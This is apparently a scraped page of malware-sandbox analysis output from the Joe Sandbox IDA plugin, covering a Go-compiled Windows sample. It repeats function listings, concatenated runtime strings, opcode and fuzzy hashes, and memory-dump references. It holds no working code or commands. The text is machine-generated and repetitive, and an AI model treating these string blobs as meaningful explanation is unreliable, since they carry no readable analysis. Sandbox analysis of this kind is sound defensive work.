Associated: 00000000.00000002.1965147821.0000000000AEA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965147821.0000000000AEF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965315508.0000000000BBB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965327724.0000000000BBC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965339342.0000000000BBD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965350995.0000000000BBE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965363533.0000000000BC7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965363533.0000000000BD7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965363533.0000000000BDB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965363533.0000000000BEF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965416720.0000000000BF7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965428377.0000000000BF8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965428377.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_810000_txUcQFc0aJ.jbxd

Similarity

API ID:
String ID: types : type 19531259765625SHA-224SHA-256SHA-384SHA-512float32float64invaliduintptrChanDir Value>Ed25519MD5-RSAserial:2.5.4.62.5.4.32.5.4.52.5.4.72.5.4.82.5.4.9PATHEXTavx512fos/execruntimetls3desFreeSidSleepExUsage:FullPathThursdaySaturdayFebruaryNovemberDec$ - NaN125625MD4MD5...intmapmsg***UseE (RSADSAURISETNUL:\/adxaesshaavxfmanetcgodnstcpudp///%25): filereadseekopensyncpipeStatJuneJulyEESTSASTAKSTAKDTACSTACDTAESTAEDTAWSTCESTNZSTNZDT as hourquitbindrecvsendCOFFMiscPOGOTrapLTCGRSDSNB10FileXBOXRich.crtallgallproot$ base 390625Format[]bytestringCommonstructuint16uint32uint64chan<-<-chan Value %s=%vExpectIgnoreUTF-16STREETexec: rdtscppopcntcmd/gonetdnsX25519headerAnswer readdirconsoleTuesdayJanuaryOctoberMUI_StdMUI_DltabortedCopySidWSARecvWSASendconnectsignal VarIdiv$ etypes nil Poolwsaioctl48828125strconv.parsing ParseIntMD5+SHA1SHA3-224SHA3-256SHA3-384SHA3-512GoStringSHA1-RSADSA-SHA1x509sha1DNS name2.5.4.102.5.4.112.5.4.17default:avx512bwavx512vlgo/typesnet/httpgo/buildnetedns0tlskyberEqualSidSetEventaddress ClassANYQues$ not in ranges:23841857910156250123456789ABCDEF: value of type KEYVALS UNPAIREDlength too largeexec: no commandGODEBUG: value "[bisect-match 0xSetEntriesInAclWSetServiceStatusCryptProtectDataCryptQueryObjectConnectNamedPipeCreateJobObjectWCreateNamedPipeWDefi$ out of range unreachable: invalid syntax1907348632812595367431640625RegSetValueExWunsafe.Pointer on zero Valuereflect.Value.unknown method/log/filter.go/log/helper.godata truncatedinternal errormime/multipartControlServiceCreateServiceWIsWellKnownSidMakeAbso$runtime: typeOff runtime: textOff 1192092895507812559604644775390625invalid bit size RegLoadMUIStringW0123456789ABCDEFX0123456789abcdefxunknown type kindreflect: call of reflect: New(nil)CreateFileMappinginvalid BMPStringinvalid IA5Stringinteg
API String ID: 0-4105115925
Opcode ID: 0d2e0d15b228bff3ebf3ea58cadcd3b47dc6ea29db4ecd1c18edde302a32f9cf
Instruction ID: db213ab136e2ba05b78a958caba4de0b132cd8aedca63b0c0aa19723b630c015
Opcode Fuzzy Hash: 0d2e0d15b228bff3ebf3ea58cadcd3b47dc6ea29db4ecd1c18edde302a32f9cf
Instruction Fuzzy Hash: 1A71CE749097059FC344EF68D181A6ABBE0FF88704F41893DF988C7362E77499859B93

Function 0086EBE0 Relevance: 8.9, Strings: 7, Instructions: 150COMMON

Download Yara Rule

Strings

not in ranges:23841857910156250123456789ABCDEF: value of type KEYVALS UNPAIREDlength too largeexec: no commandGODEBUG: value "[bisect-match 0xSetEntriesInAclWSetServiceStatusCryptProtectDataCryptQueryObjectConnectNamedPipeCreateJobObjectWCreateNamedPipeWDefi, xrefs: 0086EDA2
runtime: nameOff runtime: typeOff runtime: textOff 1192092895507812559604644775390625invalid bit size RegLoadMUIStringW0123456789ABCDEFX0123456789abcdefxunknown type kindreflect: call of reflect: New(nil)CreateFileMappinginvalid BMPStringinval, xrefs: 0086EC55, 0086ED4F
etypes nil Poolwsaioctl48828125strconv.parsing ParseIntMD5+SHA1SHA3-224SHA3-256SHA3-384SHA3-512GoStringSHA1-RSADSA-SHA1x509sha1DNS name2.5.4.102.5.4.112.5.4.17default:avx512bwavx512vlgo/typesnet/httpgo/buildnetedns0tlskyberEqualSidSetEventaddress ClassANYQues, xrefs: 0086EE1B
out of range unreachable: invalid syntax1907348632812595367431640625RegSetValueExWunsafe.Pointer on zero Valuereflect.Value.unknown method/log/filter.go/log/helper.godata truncatedinternal errormime/multipartControlServiceCreateServiceWIsWellKnownSidMakeAbso, xrefs: 0086EC7E
base 390625Format[]bytestringCommonstructuint16uint32uint64chan<-<-chan Value %s=%vExpectIgnoreUTF-16STREETexec: rdtscppopcntcmd/gonetdnsX25519headerAnswer readdirconsoleTuesdayJanuaryOctoberMUI_StdMUI_DltabortedCopySidWSARecvWSASendconnectsignal VarIdiv, xrefs: 0086ED78
- NaN125625MD4MD5...intmapmsg***UseE (RSADSAURISETNUL:\/adxaesshaavxfmanetcgodnstcpudp///%25): filereadseekopensyncpipeStatJuneJulyEESTSASTAKSTAKDTACSTACDTAESTAEDTAWSTCESTNZSTNZDT as hourquitbindrecvsendCOFFMiscPOGOTrapLTCGRSDSNB10FileXBOXRich.crtallgallproot, xrefs: 0086ECA8
types : type 19531259765625SHA-224SHA-256SHA-384SHA-512float32float64invaliduintptrChanDir Value>Ed25519MD5-RSAserial:2.5.4.62.5.4.32.5.4.52.5.4.72.5.4.82.5.4.9PATHEXTavx512fos/execruntimetls3desFreeSidSleepExUsage:FullPathThursdaySaturdayFebruaryNovemberDec, xrefs: 0086EDF1

Memory Dump Source

Source File: 00000000.00000002.1965003239.0000000000811000.00000020.00000001.01000000.00000003.sdmp, Offset: 00810000, based on PE: true

Associated: 00000000.00000002.1964985184.0000000000810000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965147821.00000000009DE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965147821.0000000000ACE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965147821.0000000000AD2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965147821.0000000000AEA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965147821.0000000000AEF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965315508.0000000000BBB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965327724.0000000000BBC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965339342.0000000000BBD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965350995.0000000000BBE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965363533.0000000000BC7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965363533.0000000000BD7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965363533.0000000000BDB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965363533.0000000000BEF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965416720.0000000000BF7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965428377.0000000000BF8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965428377.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_810000_txUcQFc0aJ.jbxd

Similarity

API ID:
String ID: types : type 19531259765625SHA-224SHA-256SHA-384SHA-512float32float64invaliduintptrChanDir Value>Ed25519MD5-RSAserial:2.5.4.62.5.4.32.5.4.52.5.4.72.5.4.82.5.4.9PATHEXTavx512fos/execruntimetls3desFreeSidSleepExUsage:FullPathThursdaySaturdayFebruaryNovemberDec$ - NaN125625MD4MD5...intmapmsg***UseE (RSADSAURISETNUL:\/adxaesshaavxfmanetcgodnstcpudp///%25): filereadseekopensyncpipeStatJuneJulyEESTSASTAKSTAKDTACSTACDTAESTAEDTAWSTCESTNZSTNZDT as hourquitbindrecvsendCOFFMiscPOGOTrapLTCGRSDSNB10FileXBOXRich.crtallgallproot$ base 390625Format[]bytestringCommonstructuint16uint32uint64chan<-<-chan Value %s=%vExpectIgnoreUTF-16STREETexec: rdtscppopcntcmd/gonetdnsX25519headerAnswer readdirconsoleTuesdayJanuaryOctoberMUI_StdMUI_DltabortedCopySidWSARecvWSASendconnectsignal VarIdiv$ etypes nil Poolwsaioctl48828125strconv.parsing ParseIntMD5+SHA1SHA3-224SHA3-256SHA3-384SHA3-512GoStringSHA1-RSADSA-SHA1x509sha1DNS name2.5.4.102.5.4.112.5.4.17default:avx512bwavx512vlgo/typesnet/httpgo/buildnetedns0tlskyberEqualSidSetEventaddress ClassANYQues$ not in ranges:23841857910156250123456789ABCDEF: value of type KEYVALS UNPAIREDlength too largeexec: no commandGODEBUG: value "[bisect-match 0xSetEntriesInAclWSetServiceStatusCryptProtectDataCryptQueryObjectConnectNamedPipeCreateJobObjectWCreateNamedPipeWDefi$ out of range unreachable: invalid syntax1907348632812595367431640625RegSetValueExWunsafe.Pointer on zero Valuereflect.Value.unknown method/log/filter.go/log/helper.godata truncatedinternal errormime/multipartControlServiceCreateServiceWIsWellKnownSidMakeAbso$runtime: nameOff runtime: typeOff runtime: textOff 1192092895507812559604644775390625invalid bit size RegLoadMUIStringW0123456789ABCDEFX0123456789abcdefxunknown type kindreflect: call of reflect: New(nil)CreateFileMappinginvalid BMPStringinval
API String ID: 0-2522601514
Opcode ID: 9e3ef8dbc185285966b1b57d0ba3a1954e5d0fba756d3a792e8f0d246f0e5810
Instruction ID: 158eb24a4fa358565fc92f281a6d8eae4e37e115dec66b604b89b8f3f5163675
Opcode Fuzzy Hash: 9e3ef8dbc185285966b1b57d0ba3a1954e5d0fba756d3a792e8f0d246f0e5810
Instruction Fuzzy Hash: 8961D3789087049FC344EF68C19166EBBE0FB98704F41892DF989C7362E7749945DB93

Function 0083A3F0 Relevance: 6.5, Strings: 5, Instructions: 299COMMON

Download Yara Rule

Strings

runtime: GetQueuedCompletionStatusEx returned net_op with invalid mode= optional header size(%d) is less minimum size (%d) of PE32 optional headerPE image got a PointerToSymbolTable but no string in the COFF string tableRich header found: 3 leading padding DWO, xrefs: 0083A734
G, xrefs: 0083A7B9
) - NaN125625MD4MD5...intmapmsg***UseE (RSADSAURISETNUL:\/adxaesshaavxfmanetcgodnstcpudp///%25): filereadseekopensyncpipeStatJuneJulyEESTSASTAKSTAKDTACSTACDTAESTAEDTAWSTCESTNZSTNZDT as hourquitbindrecvsendCOFFMiscPOGOTrapLTCGRSDSNB10FileXBOXRich.crtallgallpr, xrefs: 0083A660
runtime: GetQueuedCompletionStatusEx returned net_op with invalid key= too many concurrent operations on a single file or socket (max 1048575)x509: issuer has name constraints but leaf doesn't have a SAN extensionexec: command with a non-nil Cancel was not cre, xrefs: 0083A7B0
runtime: GetQueuedCompletionStatusEx failed (errno= errors: *target must be interface or implement errorx509: cannot verify signature: insecure algorithm %vpkcs7: cannot parse data: unimplemented content typeConvertSecurityDescriptorToStringSecurityDescriptorW, xrefs: 0083A636

Memory Dump Source

Source File: 00000000.00000002.1965003239.0000000000811000.00000020.00000001.01000000.00000003.sdmp, Offset: 00810000, based on PE: true

Associated: 00000000.00000002.1964985184.0000000000810000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965147821.00000000009DE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965147821.0000000000ACE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965147821.0000000000AD2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965147821.0000000000AEA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965147821.0000000000AEF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965315508.0000000000BBB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965327724.0000000000BBC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965339342.0000000000BBD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965350995.0000000000BBE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965363533.0000000000BC7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965363533.0000000000BD7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965363533.0000000000BDB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965363533.0000000000BEF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965416720.0000000000BF7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965428377.0000000000BF8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965428377.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_810000_txUcQFc0aJ.jbxd

Similarity

API ID:
String ID: ) - NaN125625MD4MD5...intmapmsg***UseE (RSADSAURISETNUL:\/adxaesshaavxfmanetcgodnstcpudp///%25): filereadseekopensyncpipeStatJuneJulyEESTSASTAKSTAKDTACSTACDTAESTAEDTAWSTCESTNZSTNZDT as hourquitbindrecvsendCOFFMiscPOGOTrapLTCGRSDSNB10FileXBOXRich.crtallgallpr$G$runtime: GetQueuedCompletionStatusEx failed (errno= errors: *target must be interface or implement errorx509: cannot verify signature: insecure algorithm %vpkcs7: cannot parse data: unimplemented content typeConvertSecurityDescriptorToStringSecurityDescriptorW$runtime: GetQueuedCompletionStatusEx returned net_op with invalid key= too many concurrent operations on a single file or socket (max 1048575)x509: issuer has name constraints but leaf doesn't have a SAN extensionexec: command with a non-nil Cancel was not cre$runtime: GetQueuedCompletionStatusEx returned net_op with invalid mode= optional header size(%d) is less minimum size (%d) of PE32 optional headerPE image got a PointerToSymbolTable but no string in the COFF string tableRich header found: 3 leading padding DWO
API String ID: 0-1360683022
Opcode ID: 3385b8a24af830dafcb340bdd9a885752e203ce82e2859f688f4af6431599c83
Instruction ID: 4fd65c5f61eac1fc893d8bb55b772a1f704b3ca6213925b08e5823307df6cdcd
Opcode Fuzzy Hash: 3385b8a24af830dafcb340bdd9a885752e203ce82e2859f688f4af6431599c83
Instruction Fuzzy Hash: 6AC136B45097458FD758EF68C48171ABBE1FBC4308F14892DE9C9CB2A2E775D8458B83

Function 00824010 Relevance: 6.5, Strings: 5, Instructions: 268COMMON

Download Yara Rule

Strings

runtime: work.nwait= unsupported operation186264514923095703125931322574615478515625 of unexported methodunexpected value step invalid NumericStringx509: invalid versionsequence tag mismatchexec: already startedbad type, xrefs: 008241F8
GC worker initRtlGetVersion, xrefs: 00824054
worker mode gcscandone ProcessPrng, xrefs: 00824136
work.nproc= work.nwait= 3814697265625invalid base RegDeleteKeyWRegEnumValueWSHA256-RSAPSSSHA384-RSAPSSSHA512-RSAPSStrailing dataemail addressempty integerunsupported: gocacheverifyinstallgoroothtml/templatetlsmaxrsasizeDeleteServiceStartServiceWFindResourceW, xrefs: 00824222, 008243BA
runtime: p.gcMarkWorkerMode= NtCreateWaitCompletionPacket, xrefs: 00824367

Memory Dump Source

Source File: 00000000.00000002.1965003239.0000000000811000.00000020.00000001.01000000.00000003.sdmp, Offset: 00810000, based on PE: true

Associated: 00000000.00000002.1964985184.0000000000810000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965147821.00000000009DE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965147821.0000000000ACE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965147821.0000000000AD2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965147821.0000000000AEA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965147821.0000000000AEF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965315508.0000000000BBB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965327724.0000000000BBC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965339342.0000000000BBD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965350995.0000000000BBE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965363533.0000000000BC7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965363533.0000000000BD7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965363533.0000000000BDB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965363533.0000000000BEF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965416720.0000000000BF7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965428377.0000000000BF8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965428377.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_810000_txUcQFc0aJ.jbxd

Similarity

API ID:
String ID: work.nproc= work.nwait= 3814697265625invalid base RegDeleteKeyWRegEnumValueWSHA256-RSAPSSSHA384-RSAPSSSHA512-RSAPSStrailing dataemail addressempty integerunsupported: gocacheverifyinstallgoroothtml/templatetlsmaxrsasizeDeleteServiceStartServiceWFindResourceW$GC worker initRtlGetVersion$runtime: p.gcMarkWorkerMode= NtCreateWaitCompletionPacket$runtime: work.nwait= unsupported operation186264514923095703125931322574615478515625 of unexported methodunexpected value step invalid NumericStringx509: invalid versionsequence tag mismatchexec: already startedbad type$worker mode gcscandone ProcessPrng
API String ID: 0-3823951993
Opcode ID: 23d86769882bdac730c3a3310086805180dfa52d90ca25c3c6856638624d755f
Instruction ID: b2511671a15619b352e3b2dae99c1a42c81c1d01f9b2e16ceee8014346f4a934
Opcode Fuzzy Hash: 23d86769882bdac730c3a3310086805180dfa52d90ca25c3c6856638624d755f
Instruction Fuzzy Hash: 94D1BF745097459FC344EF68D090A2ABBF0FF89304F10996DE9998B362D731E885CF92

Function 00862100 Relevance: 6.4, Strings: 5, Instructions: 149COMMON

Download Yara Rule

Strings

not in ranges:23841857910156250123456789ABCDEF: value of type KEYVALS UNPAIREDlength too largeexec: no commandGODEBUG: value "[bisect-match 0xSetEntriesInAclWSetServiceStatusCryptProtectDataCryptQueryObjectConnectNamedPipeCreateJobObjectWCreateNamedPipeWDefi, xrefs: 00862232
etypes nil Poolwsaioctl48828125strconv.parsing ParseIntMD5+SHA1SHA3-224SHA3-256SHA3-384SHA3-512GoStringSHA1-RSADSA-SHA1x509sha1DNS name2.5.4.102.5.4.112.5.4.17default:avx512bwavx512vlgo/typesnet/httpgo/buildnetedns0tlskyberEqualSidSetEventaddress ClassANYQues, xrefs: 008622A7
base 390625Format[]bytestringCommonstructuint16uint32uint64chan<-<-chan Value %s=%vExpectIgnoreUTF-16STREETexec: rdtscppopcntcmd/gonetdnsX25519headerAnswer readdirconsoleTuesdayJanuaryOctoberMUI_StdMUI_DltabortedCopySidWSARecvWSASendconnectsignal VarIdiv, xrefs: 00862208
runtime: textOff 1192092895507812559604644775390625invalid bit size RegLoadMUIStringW0123456789ABCDEFX0123456789abcdefxunknown type kindreflect: call of reflect: New(nil)CreateFileMappinginvalid BMPStringinvalid IA5Stringinteger too large06010, xrefs: 008621DF
types : type 19531259765625SHA-224SHA-256SHA-384SHA-512float32float64invaliduintptrChanDir Value>Ed25519MD5-RSAserial:2.5.4.62.5.4.32.5.4.52.5.4.72.5.4.82.5.4.9PATHEXTavx512fos/execruntimetls3desFreeSidSleepExUsage:FullPathThursdaySaturdayFebruaryNovemberDec, xrefs: 0086227D

Memory Dump Source

Source File: 00000000.00000002.1965003239.0000000000811000.00000020.00000001.01000000.00000003.sdmp, Offset: 00810000, based on PE: true

Associated: 00000000.00000002.1964985184.0000000000810000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965147821.00000000009DE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965147821.0000000000ACE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965147821.0000000000AD2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965147821.0000000000AEA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965147821.0000000000AEF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965315508.0000000000BBB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965327724.0000000000BBC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965339342.0000000000BBD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965350995.0000000000BBE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965363533.0000000000BC7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965363533.0000000000BD7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965363533.0000000000BDB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965363533.0000000000BEF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965416720.0000000000BF7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965428377.0000000000BF8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965428377.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_810000_txUcQFc0aJ.jbxd

Similarity

API ID:
String ID: types : type 19531259765625SHA-224SHA-256SHA-384SHA-512float32float64invaliduintptrChanDir Value>Ed25519MD5-RSAserial:2.5.4.62.5.4.32.5.4.52.5.4.72.5.4.82.5.4.9PATHEXTavx512fos/execruntimetls3desFreeSidSleepExUsage:FullPathThursdaySaturdayFebruaryNovemberDec$ base 390625Format[]bytestringCommonstructuint16uint32uint64chan<-<-chan Value %s=%vExpectIgnoreUTF-16STREETexec: rdtscppopcntcmd/gonetdnsX25519headerAnswer readdirconsoleTuesdayJanuaryOctoberMUI_StdMUI_DltabortedCopySidWSARecvWSASendconnectsignal VarIdiv$ etypes nil Poolwsaioctl48828125strconv.parsing ParseIntMD5+SHA1SHA3-224SHA3-256SHA3-384SHA3-512GoStringSHA1-RSADSA-SHA1x509sha1DNS name2.5.4.102.5.4.112.5.4.17default:avx512bwavx512vlgo/typesnet/httpgo/buildnetedns0tlskyberEqualSidSetEventaddress ClassANYQues$ not in ranges:23841857910156250123456789ABCDEF: value of type KEYVALS UNPAIREDlength too largeexec: no commandGODEBUG: value "[bisect-match 0xSetEntriesInAclWSetServiceStatusCryptProtectDataCryptQueryObjectConnectNamedPipeCreateJobObjectWCreateNamedPipeWDefi$runtime: textOff 1192092895507812559604644775390625invalid bit size RegLoadMUIStringW0123456789ABCDEFX0123456789abcdefxunknown type kindreflect: call of reflect: New(nil)CreateFileMappinginvalid BMPStringinvalid IA5Stringinteger too large06010
API String ID: 0-292322734
Opcode ID: 6c637183e1006746dc36585f1d1b2558298e2ea6b9d6444b32a7d68131625ea6
Instruction ID: 1a4d9d9ff0ad08734c874c4d0336ef8913c6ec54bb7fb2232802b867334d9eb0
Opcode Fuzzy Hash: 6c637183e1006746dc36585f1d1b2558298e2ea6b9d6444b32a7d68131625ea6
Instruction Fuzzy Hash: CE514774909B058FC744EF68C590A6EB7E1FB88304F418A6DE588C7362E774A985DB83

Function 00853F90 Relevance: 5.1, Strings: 4, Instructions: 148COMMON

Download Yara Rule

Strings

-, xrefs: 008540DC
-, xrefs: 00853FB6
-, xrefs: 0085410B
-, xrefs: 008540E9

Memory Dump Source

Source File: 00000000.00000002.1965003239.0000000000811000.00000020.00000001.01000000.00000003.sdmp, Offset: 00810000, based on PE: true

Associated: 00000000.00000002.1964985184.0000000000810000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965147821.00000000009DE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965147821.0000000000ACE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965147821.0000000000AD2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965147821.0000000000AEA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965147821.0000000000AEF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965315508.0000000000BBB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965327724.0000000000BBC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965339342.0000000000BBD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965350995.0000000000BBE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965363533.0000000000BC7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965363533.0000000000BD7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965363533.0000000000BDB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965363533.0000000000BEF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965416720.0000000000BF7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965428377.0000000000BF8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965428377.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_810000_txUcQFc0aJ.jbxd

Similarity

API ID:
String ID: -$-$-$-
API String ID: 0-1033403326
Opcode ID: fd1c7047d4125eb8ff1dd1d0aa0b94c6e58c79a1cf0c3765a3ab79412a26a377
Instruction ID: 2f44b0ba9c810e577e52c478302192a56d4db8d9f606c09ecfb5c4fcb81756c1
Opcode Fuzzy Hash: fd1c7047d4125eb8ff1dd1d0aa0b94c6e58c79a1cf0c3765a3ab79412a26a377
Instruction Fuzzy Hash: FC51BFB5A487564FD715CE28D45032EBBD2FBD0309F58852CE8948B3D2E7798A8D87C2

Function 00825B40 Relevance: 5.1, Strings: 4, Instructions: 71COMMON

Download Yara Rule

Strings

status runtime.reflect. etypes nil Poolwsaioctl48828125strconv.parsing ParseIntMD5+SHA1SHA3-224SHA3-256SHA3-384SHA3-512GoStringSHA1-RSADSA-SHA1x509sha1DNS name2.5.4.102.5.4.112.5.4.17default:avx512bwavx512vlgo/typesnet/httpgo/buildnetedns0tlskyberEqualSidSetE, xrefs: 00825BFC
gp ) - NaN125625MD4MD5...intmapmsg***UseE (RSADSAURISETNUL:\/adxaesshaavxfmanetcgodnstcpudp///%25): filereadseekopensyncpipeStatJuneJulyEESTSASTAKSTAKDTACSTACDTAESTAEDTAWSTCESTNZSTNZDT as hourquitbindrecvsendCOFFMiscPOGOTrapLTCGRSDSNB10FileXBOXRich.crtallgal, xrefs: 00825BB0
goid base 390625Format[]bytestringCommonstructuint16uint32uint64chan<-<-chan Value %s=%vExpectIgnoreUTF-16STREETexec: rdtscppopcntcmd/gonetdnsX25519headerAnswer readdirconsoleTuesdayJanuaryOctoberMUI_StdMUI_DltabortedCopySidWSARecvWSASendconnectsignal V, xrefs: 00825BD2
gcscandone ProcessPrng, xrefs: 00825C26

Memory Dump Source

Source File: 00000000.00000002.1965003239.0000000000811000.00000020.00000001.01000000.00000003.sdmp, Offset: 00810000, based on PE: true

Associated: 00000000.00000002.1964985184.0000000000810000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965147821.00000000009DE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965147821.0000000000ACE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965147821.0000000000AD2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965147821.0000000000AEA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965147821.0000000000AEF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965315508.0000000000BBB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965327724.0000000000BBC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965339342.0000000000BBD000.00000004.00000001.01000000.00000003.sdmpDownload File
